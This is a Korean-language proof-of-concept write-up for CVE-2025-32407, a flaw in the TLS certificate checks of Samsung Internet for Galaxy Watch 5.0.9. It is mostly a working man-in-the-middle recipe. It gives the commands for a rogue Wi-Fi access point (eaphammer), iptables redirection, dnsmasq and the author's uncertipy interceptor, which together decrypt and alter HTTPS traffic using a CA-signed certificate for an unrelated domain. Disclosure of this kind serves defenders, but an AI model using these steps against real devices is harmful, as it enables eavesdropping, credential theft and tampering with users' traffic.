
CVE-2025-32407에 대한 개념 증명 익스플로잇: Galaxy Watch용 Samsung Internet의 TLS 인증서 검증 우회로 HTTPS 트래픽에 대한 중간자 공격을 가능하게 합니다.
CVE-2025-32407에 대한 개념 증명: Samsung Galaxy Watch 앱 "Samsung Internet for Galaxy Watch" 버전 5.0.9의 TLS 인증서 검증의 잘못된 구성입니다.
Galaxy Watch 앱 "Samsung Internet for Galaxy Watch" 버전 5.0.9 (Samsung Galaxy Watch 3까지 사용 가능)는 TLS 인증서를 제대로 검증하지 않아, 공격자가 사용자가 방문하는 모든 웹사이트를 가장할 수 있습니다. 이는 브라우저가 서버의 신원을 검증하는 방식의 심각한 잘못된 구성입니다. HTTPS를 보안 채널로 사용하는 것을 무력화하여, 중간자 공격을 가능하게 하고, 민감한 정보를 탈취하거나 수신 및 송신 트래픽을 변조할 수 있게 합니다.
이 특정 사례에서 브라우저는 인증서의 도메인이 웹사이트의 도메인과 일치하는지 검증하지 않습니다. 즉, 신뢰할 수 있는 인증 기관이 서명한 것이라면 임의의 도메인에 대해 발급된 모든 TLS 인증서를 수락합니다. 그러면 공격자는 자신이 제어하는 도메인에 대한 무료 인증서를 얻고, 이를 사용하여 앱에서 생성되는 모든 TLS 연결을 가로챌 수 있습니다.
이 테스트는 Samsung Galaxy Watch 3와 "Samsung Internet for Galaxy Watch"의 최신 버전(5.0.9)을 사용하여 수행되었습니다. 이 기기는 현재 지원되지 않는다는 점에 유의하십시오.

공격을 지원하기 위해 TLS 통신을 동적으로 가로채고 제가 제어하는 TLS 인증서를 생성하여 수신 및 송신 데이터를 복호화하고 조작할 수 있는 도구를 개발했습니다: https://github.com/diegovargasj/uncertipy. 실제 CA가 서명한 유효한 TLS 인증서와 해당 키가 필요합니다. 이는 Let's Encrypt API와 도메인을 사용하여 쉽고 무료로 수행할 수 있습니다. 인증서와 키는 각각 /path/to/cert.pem 및 /path/to/key.pem에 저장됩니다.
Watch의 통신을 가로채는 방법에는 여러 가지가 있습니다. 예를 들어 DNS 응답을 조작하거나, 이 목적을 위해 생성된 WiFi 액세스 포인트에 연결하는 방법이 있습니다. 우리는 후자를 사용할 것이며, 인터넷에 액세스하기 위한 wlan0과 WiFi 액세스 포인트를 배포하기 위한 wlan1, 두 개의 네트워크 인터페이스를 가진 컴퓨터를 사용합니다.
WiFi AP를 배포하기 위해 eaphammer (https://github.com/s0lst1c3/eaphammer)를 사용하겠습니다. 하지만 원하는 어떤 도구를 사용해도 됩니다.
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
이제 인터페이스에 IP 주소를 할당합니다:
sudo ip addr add 10.0.0.1/24 dev wlan1
트래픽을 로컬 포트 9900으로 리디렉션합니다:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
그리고 DHCP와 DNS를 활성화합니다:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
마지막으로 uncertipy를 실행하여 포트 9900에서 TLS 트래픽을 가로챕니다. 이 트래픽은 로깅을 위해 포트 8080의 HTTP 프록시로 리디렉션됩니다:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
이제 Watch를 WiFi AP에 연결하고 앱을 연 다음 임의의 HTTPS 웹사이트로 이동합니다.


uncertipy 도구는 TLS 가로채기를 알려줍니다.

HTTP 프록시는 민감한 정보를 포함할 수 있는 요청을 가로채기 시작합니다. 또한 프록시의 기능을 활용하여 수신 또는 송신 요청을 수정할 수 있습니다.

앱은 웹사이트의 콘텐츠를 표시하면서 정상적으로 작동해야 합니다.
